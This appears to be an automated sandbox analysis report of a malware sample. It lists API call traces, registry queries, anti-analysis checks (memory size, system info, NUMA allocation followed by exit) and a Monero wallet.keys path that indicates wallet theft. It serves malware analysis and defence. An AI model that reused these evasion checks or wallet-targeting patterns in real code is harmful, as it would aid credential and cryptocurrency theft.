Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 2fc94e1414952b7527a9be5169659b70e9cf53fb6953db9cbbad1f9b66422a0d
Instruction ID: 50c03d7c344cb35a73dd37e0fd0c42e934350e696546d5239691e483e0e13875
Opcode Fuzzy Hash: 2fc94e1414952b7527a9be5169659b70e9cf53fb6953db9cbbad1f9b66422a0d
Instruction Fuzzy Hash: 5721F6B1A10218AFDB24DB54DC85FE9B7B8FB48704F0081D8E649A6140DF75AA85CFE4

Function 00E37690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E376A4
RtlAllocateHeap.NTDLL(00000000), ref: 00E376AB
RegOpenKeyExA.KERNEL32(80000002,017FC8E0,00000000,00020119,00000000), ref: 00E376DD
RegQueryValueExA.KERNEL32(00000000,0180F0B8,00000000,00000000,?,000000FF), ref: 00E376FE
RegCloseKey.ADVAPI32(00000000), ref: 00E37708

Strings

Windows 11, xrefs: 00E376BD

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 801e7225e3d42c67d8057dfe26b548a92b04d07e11b56dada58f7fcf38a5cc1d
Instruction ID: 331e7e9f0185e07cb57abd50bd3a9f63a05cf65a34117454784fe30975b7efa2
Opcode Fuzzy Hash: 801e7225e3d42c67d8057dfe26b548a92b04d07e11b56dada58f7fcf38a5cc1d
Instruction Fuzzy Hash: DD0144B5B04204FFD720EBE4DD4DF6A77B8EB44701F104055FA85B7295D6799900CB50

Function 00E37720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E37734
RtlAllocateHeap.NTDLL(00000000), ref: 00E3773B
RegOpenKeyExA.KERNEL32(80000002,017FC8E0,00000000,00020119,00E376B9), ref: 00E3775B
RegQueryValueExA.KERNEL32(00E376B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00E3777A
RegCloseKey.ADVAPI32(00E376B9), ref: 00E37784

Strings

CurrentBuildNumber, xrefs: 00E37771

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: d24911f309100f7ab4173d26ac912b012044db2b8779c40ade73735cebe9f65e
Instruction ID: 39dd78d718e661befc5b7c3127fc48f71489415c650a6d429bd53fa02fdf6485
Opcode Fuzzy Hash: d24911f309100f7ab4173d26ac912b012044db2b8779c40ade73735cebe9f65e
Instruction Fuzzy Hash: 3C0144B5A40308FFD710EBE0DC4AFAEB7B8EB44701F004155FA45B7285D6756600CB50

Function 00E369F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,018025A8), ref: 00E398A1
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,018025D8), ref: 00E398BA
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,018024E8), ref: 00E398D2
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,018025F0), ref: 00E398EA
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,01802530), ref: 00E39903
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,01809A38), ref: 00E3991B
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,017F53D0), ref: 00E39933
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,017F5690), ref: 00E3994C
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,018024D0), ref: 00E39964
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,018026B0), ref: 00E3997C
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,01802488), ref: 00E39995
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,01802500), ref: 00E399AD
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,017F55D0), ref: 00E399C5
Part of subcall function 00E39860: GetProcAddress.KERNEL32(76210000,01802638), ref: 00E399DE

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E211D0: ExitProcess.KERNEL32 ref: 00E21211

Part of subcall function 00E21160: GetSystemInfo.KERNEL32(?), ref: 00E2116A
Part of subcall function 00E21160: ExitProcess.KERNEL32 ref: 00E2117E

Part of subcall function 00E21110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00E2112B
Part of subcall function 00E21110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00E21132
Part of subcall function 00E21110: ExitProcess.KERNEL32 ref: 00E21143

Part of subcall function 00E21220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00E2123E
Part of subcall function 00E21220: __aulldiv.LIBCMT ref: 00E21258
Part of subcall function 00E21220: __aulldiv.LIBCMT ref: 00E21266
Part of subcall function 00E21220: ExitProcess.KERNEL32 ref: 00E21294

Part of subcall function 00E36770: GetUserDefaultLangID.KERNEL32 ref: 00E36774

Part of subcall function 00E21190: ExitProcess.KERNEL32 ref: 00E211C6

Part of subcall function 00E37850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E211B7), ref: 00E37880
Part of subcall function 00E37850: RtlAllocateHeap.NTDLL(00000000), ref: 00E37887
Part of subcall function 00E37850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E3789F

Part of subcall function 00E378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E37910
Part of subcall function 00E378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00E37917
Part of subcall function 00E378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00E3792F

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01809A28,?,00E4110C,?,00000000,?,00E41110,?,00000000,00E40AEF), ref: 00E36ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E36AE8
CloseHandle.KERNEL32(00000000), ref: 00E36AF9
Sleep.KERNEL32(00001770), ref: 00E36B04
CloseHandle.KERNEL32(?,00000000,?,01809A28,?,00E4110C,?,00000000,?,00E41110,?,00000000,00E40AEF), ref: 00E36B1A
ExitProcess.KERNEL32 ref: 00E36B22

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: a5bb6193160e40ee902c480c7129ef953d41677f970da572d70019541d27f068
Instruction ID: a510153ad37d3a4aaa188eba49bda1377556b008bebb11188577bb8441e15921
Opcode Fuzzy Hash: a5bb6193160e40ee902c480c7129ef953d41677f970da572d70019541d27f068
Instruction Fuzzy Hash: 6A314571900218ABDB14F7F0EC5EBEE7BB8AF54340F046568F282B6191DF745A45C7A2

Function 00E299C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E299EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E29A11
LocalAlloc.KERNEL32(00000040,?), ref: 00E29A31
ReadFile.KERNEL32(000000FF,?,00000000,00E2148F,00000000), ref: 00E29A5A
LocalFree.KERNEL32(00E2148F), ref: 00E29A90
CloseHandle.KERNEL32(000000FF), ref: 00E29A9A

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 6fbb6535f627e07b6ceedd5e71bc496058d6eacbf3738278a1adebb3809a48da
Instruction ID: 15c782a1a95cbb88528d086f61c75c6babc53d2bd85ba550f57c5bef0732d91e
Opcode Fuzzy Hash: 6fbb6535f627e07b6ceedd5e71bc496058d6eacbf3738278a1adebb3809a48da
Instruction Fuzzy Hash: EC3118B4A00209EFDB24DF94D885BAE77B5FF48304F109158E901B7290D779AA41CFA0

Function 00E21220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00E2123E
__aulldiv.LIBCMT ref: 00E21258
__aulldiv.LIBCMT ref: 00E21266
ExitProcess.KERNEL32 ref: 00E21294

Strings

@, xrefs: 00E21233

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e581ff8799953484237cc6263798194adbc5141fb792beab7fa52c91609df94d
Instruction ID: 12c2d31bb9cfb255eaec52ac41c19fc09b8fca255555f8a7c97d1f6b0181b5ae
Opcode Fuzzy Hash: e581ff8799953484237cc6263798194adbc5141fb792beab7fa52c91609df94d
Instruction Fuzzy Hash: 16016DB1D44308FAEB10EBE0ED49B9EBBB8FB14705F209488F705B62D0D77856419799

Function 00E340B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0180E450,00000000,00020119,?), ref: 00E340F4
RegQueryValueExA.ADVAPI32(?,0180F1F0,00000000,00000000,00000000,000000FF), ref: 00E34118
RegCloseKey.ADVAPI32(?), ref: 00E34122
lstrcat.KERNEL32(?,00000000), ref: 00E34147
lstrcat.KERNEL32(?,0180F250), ref: 00E3415B

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: abdc853553c43c3a5771f995b8a84d6ea0d9147ab50042315060dc2eea963545
Instruction ID: a14148e1bd8dea5374f4d59bb0c7f9acccefbd01e6a5040093d82941fec9465f
Opcode Fuzzy Hash: abdc853553c43c3a5771f995b8a84d6ea0d9147ab50042315060dc2eea963545
Instruction Fuzzy Hash: F3418AB6D00108ABDB24FBA0EC46FEE777DBB98300F004598F65567185EA795B88CBD1

Function 6CAEC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CAEC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CAEC969
GetSystemInfo.KERNEL32(?), ref: 6CAEC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CAEC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CAEC9E2

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
